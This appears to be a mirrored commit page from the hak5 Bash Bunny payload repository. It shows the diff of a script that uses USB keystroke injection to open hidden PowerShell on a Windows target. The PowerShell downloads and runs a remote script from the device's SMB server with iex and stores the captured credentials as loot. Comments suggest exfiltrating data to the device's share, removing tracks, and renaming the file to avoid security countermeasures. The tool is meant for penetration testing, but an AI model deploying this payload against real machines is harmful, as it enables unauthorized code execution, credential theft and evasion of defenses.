hak5/bashbunny-payloads
1
0
Fork 0
mirror of https://github.com/hak5/bashbunny-payloads.git synced 2025-10-29 16:58:25 +00:00
Code Issues Packages Projects Releases Wiki Activity

cleaned up and extended

Browse Source
This commit is contained in:
Hink
2017-10-11 11:42:03 -05:00
parent c0ab8d3e88
commit 91c7c2276f
6 changed files with 55 additions and 53 deletions
Download Patch File Download Diff File Expand all files Collapse all files

60
payloads/library/execution/psh_DownloadExecSMB/payload.txt
View File

@@ -2,23 +2,23 @@
#
# Title: Powershell Download and Execute SMB
# Author: LowValueTarget
# Version: 1.2
# Version: 2.0
# Category: Powershell
# Target: Windows XP SP3+ (Powershell)
# Attackmodes: HID, RNDIS_ETHERNET
# Firmware: >= 1.2
#
# Quick HID attack to retrieve and run powershell payload from BashBunny SMBServer. Credentials are stored as loot.
# Ensure psh.txt exists in payload directory
# Quick HID attack to retrieve and run powershell payload from BashBunny SMBServer. Possibilities are limitless!
# Credentials captured by are stored as loot.
# Ensure p.txt exists in payload directory (using .txt instead of .ps1 in case of security countermeasures)
#
# Requires Impacket is installed (python ./impacket/setup.py install)
# Required tools: impacket
#
# | Attack Stage | Description |
# | ------------------- | ------------------------------|
# | Stage 1 | Powershell |
# | Stage 2 | Delivering powershell payload |
#
ATTACKMODE RNDIS_ETHERNET HID
# SETUP
@@ -29,48 +29,48 @@ GET SWITCH_POSITION
GET TARGET_HOSTNAME
GET HOST_IP
# DEFINE DIRECTORIES
PAYLOAD_DIR=/root/udisk/payloads/$SWITCH_POSITION
# Check for psh.txt
if [ ! -f ${PAYLOAD_DIR}/psh.txt ]; then
LOOTDIR_BB=/root/udisk/loot/psh_DownloadExecSMB
mkdir -p /tmp/{l,p}
# CHECK FOR POWERSHELL
if [ ! -f ${PAYLOAD_DIR}/p.txt ]; then
LED FAIL
exit 1
fi
cp -R ${PAYLOAD_DIR}/* /tmp/
cp -R ${PAYLOAD_DIR}/* /tmp/p/ # any additional assets will be available in tmp
LOOTDIR=/root/udisk/loot/psh_DownloadExecSMB
# Setup named logs in loot directory
mkdir -p ${LOOTDIR}
# GET HOSTNAME
HOST=${TARGET_HOSTNAME}
# If hostname is blank set it to "noname"
[[ -z "$HOST" ]] && HOST="noname"
COUNT=$(ls -lad ${LOOTDIR}/$HOST* | wc -l)
[[ -z "${HOST}" ]] && HOST="noname"
COUNT=$(ls -lad ${LOOTDIR_BB}/${HOST}* | wc -l)
COUNT=$((COUNT+1))
mkdir -p ${LOOTDIR}/${HOST}-$COUNT
mkdir -p ${LOOTDIR_BB}/${HOST}-${COUNT}
LOOTDIR_BB=${LOOTDIR_BB}/${HOST}-${COUNT}
# Log file
LOGFILE=psh_smb.log
# START SMB SERVER
LOGFILE=/tmp/l/psh_downloadsmb.log
touch ${LOGFILE}
python /tools/impacket/examples/smbserver.py -comment 'Public Share' s /tmp > ${LOGFILE} &
# Start SMB Server
mkdir -p /loot
python /tools/impacket/examples/smbserver.py -comment 'Public Share' s /tmp/ > /loot/${LOGFILE} &
# STAGE 1 - Powershell
# STAGE 1 - POWERSHELL
LED STAGE1
RUN WIN "powershell -WindowStyle Hidden \"while (\$true) {If ((New-Object net.sockets.tcpclient(${HOST_IP},445)).Connected) {iex (New-Object Net.WebClient).DownloadString('\\\\${HOST_IP}\\s\\p\\p.txt');New-Item \\\\${HOST_IP}\\s\\COMPLETE -ItemType file;exit}}\""
# TIP: To exfil any data, upload to \\172.16.64.1\s\l\ -- this will be copied to the BB as loot
# TIP: Remove tracks in the psh payload if you wish
RUN WIN "powershell -WindowStyle Hidden \"while (\$true) { If ((New-Object net.sockets.tcpclient ($HOST_IP,445)).Connected) { iex (New-Object Net.WebClient).DownloadString('\\\\$HOST_IP\\s\\psh.txt');New-Item \\\172.16.64.1\\s\\COMPLETE -ItemType file;exit}}\""
# Remove tracks in the psh payload if you wish
# STAGE 2 - Wait until payload retrieved
# Wait until payload is retrieved
# STAGE 2 - HURRY UP AND WAIT
LED STAGE2
while ! [ -f /tmp/COMPLETE ]; do sleep 0.5; done
# CLEANUP
LED CLEANUP
# Move loot to mass storage
mv /loot/${LOGFILE} ${LOOTDIR}/${HOST}-$COUNT
rm /loot/${LOGFILE}
# STASH THE LOOT
mv /tmp/l/* ${LOOTDIR_BB}/
rm -rf /tmp/{l,p}
# Sync file system
sync